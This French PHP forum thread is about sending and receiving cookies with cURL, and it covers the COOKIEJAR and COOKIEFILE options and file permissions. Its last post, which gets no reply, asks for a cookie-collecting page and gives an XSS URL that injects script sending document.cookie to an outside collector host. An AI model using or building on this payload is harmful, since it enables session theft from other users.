IdentifiantMot de passe
Loading...
Mot de passe oublié ?Je m'inscris ! (gratuit)
Navigation

Inscrivez-vous gratuitement
pour pouvoir participer, suivre les réponses en temps réel, voter pour les messages, poser vos propres questions et recevoir la newsletter

Bibliothèques et frameworks PHP Discussion :

[cURL] Réception et envoi de cookies


Sujet :

Bibliothèques et frameworks PHP

Vue hybride

Message précédent Message précédent   Message suivant Message suivant
  1. #1
    Membre averti
    Inscrit en
    Septembre 2005
    Messages
    38
    Détails du profil
    Informations forums :
    Inscription : Septembre 2005
    Messages : 38
    Par défaut [cURL] Réception et envoi de cookies
    Bonjour,

    J'essai avec CURL d'envoyer une requète à un serveur et de récupérer le résultat (ça, c'est bon).

    Seulement, le serveur envoi parfois des cookies. Dans ce cas, je veux les transférer au client, et vice-versa. Mais comment faire ?

    Je ne comprends pas bien le comportement de CURLOPT_COOKIEFILE ou autres...


    Merci d'avance de votre aide.

  2. #2
    Membre émérite

    Profil pro
    H4X0|2 @ YourLabs Business Service
    Inscrit en
    Octobre 2006
    Messages
    657
    Détails du profil
    Informations personnelles :
    Localisation : France

    Informations professionnelles :
    Activité : H4X0|2 @ YourLabs Business Service
    Secteur : High Tech - Éditeur de logiciels

    Informations forums :
    Inscription : Octobre 2006
    Messages : 657
    Par défaut
    Voici l'option à configurer pour stocker le(s) cookie(s) à la fin de la session :
    curl_setopt($ch, CURLOPT_COOKIEJAR, "/chemin/vers/cookie.txt");

    Pour envoer un cookie lors d'une requête avec libcurl :
    curl_setopt($ch, CURLOPT_COOKIEFILE, "/chemin/vers/cookie.txt");

  3. #3
    Membre averti
    Inscrit en
    Septembre 2005
    Messages
    38
    Détails du profil
    Informations forums :
    Inscription : Septembre 2005
    Messages : 38
    Par défaut
    Bonjour,

    Lorsque j'utilise CURLOPT_COOKIEJAR, aucun fichier n'est créé.

    Par exemple :
    curl_setopt($ch, CURLOPT_COOKIEJAR, "cookie.txt");

    Lorsque je vais voir dans mon répertoire, aucun fichier portant le nom cookie.txt n'y est.


    De plus, j'ai des opérations à faire sur les cookies récupérés. Comment donc accéder au fichier "cookie.txt" censé être créé ?


    Merci encore.

  4. #4
    Membre expérimenté

    Profil pro
    Inscrit en
    Juin 2002
    Messages
    6 152
    Détails du profil
    Informations personnelles :
    Localisation : France

    Informations forums :
    Inscription : Juin 2002
    Messages : 6 152
    Par défaut
    Citation Envoyé par alex.hitman
    curl_setopt($ch, CURLOPT_COOKIEJAR, "cookie.txt");
    Lors d'une précédente utilisation ce fichier été créé dans la partie qui correspond au ServerRoot Pour le créer dans le répertoire courant, j'avais dû lui forcer la main en utilisant la fonction realpath. N'oubliez pas qu'Apache doit également avoir les droits pour le créer ou y écrire.

    Citation Envoyé par alex.hitman
    De plus, j'ai des opérations à faire sur les cookies récupérés. Comment donc accéder au fichier "cookie.txt" censé être créé ?
    C'est un fichier texte formaté donc facile à (re)lire.

  5. #5
    Membre averti
    Inscrit en
    Septembre 2005
    Messages
    38
    Détails du profil
    Informations forums :
    Inscription : Septembre 2005
    Messages : 38
    Par défaut
    Merci, j'ai enfin réussi à créer le fichier. C'est effectivement un fichier texte formaté, je n'ai donc eu aucun mal à faire ce que j'en voulais.

    Merci encore.

  6. #6
    Invité de passage
    Inscrit en
    Septembre 2008
    Messages
    1
    Détails du profil
    Informations forums :
    Inscription : Septembre 2008
    Messages : 1
    Par défaut xss
    j'ai besoin d'aide car je doit ecrire une page PHP qui me permettra de recevoir les cookies d'un autre utilisateur en injectant un script dans un URL comme suivant
    http://www.monsite.com/index.php?name=<script>window.open("http://www.voldecookie.com/collect.php?cookie="%2Bdocument.cookie)</script>

    MERCII

+ Répondre à la discussion
Cette discussion est résolue.

Discussions similaires

  1. [WD12] Réception et envoi de sms
    Par bruce207 dans le forum WinDev
    Réponses: 11
    Dernier message: 17/12/2014, 14h00
  2. [AJAX] Envoie de cookie avec XMLHttpRequest
    Par ced61 dans le forum Général JavaScript
    Réponses: 0
    Dernier message: 11/09/2008, 12h16
  3. Aucun envoi de cookie sous opera
    Par boodhir dans le forum Général JavaScript
    Réponses: 3
    Dernier message: 16/06/2008, 14h28
  4. [Cookies] Problème envoi de cookies
    Par Jiraiya42 dans le forum Langage
    Réponses: 10
    Dernier message: 27/10/2006, 22h52
  5. [Cookies] Probleme d'envoie de cookie
    Par pNk dans le forum Langage
    Réponses: 2
    Dernier message: 07/09/2005, 18h26

Partager

Partager
  • Envoyer la discussion sur Viadeo
  • Envoyer la discussion sur Twitter
  • Envoyer la discussion sur Google
  • Envoyer la discussion sur Facebook
  • Envoyer la discussion sur Digg
  • Envoyer la discussion sur Delicious
  • Envoyer la discussion sur MySpace
  • Envoyer la discussion sur Yahoo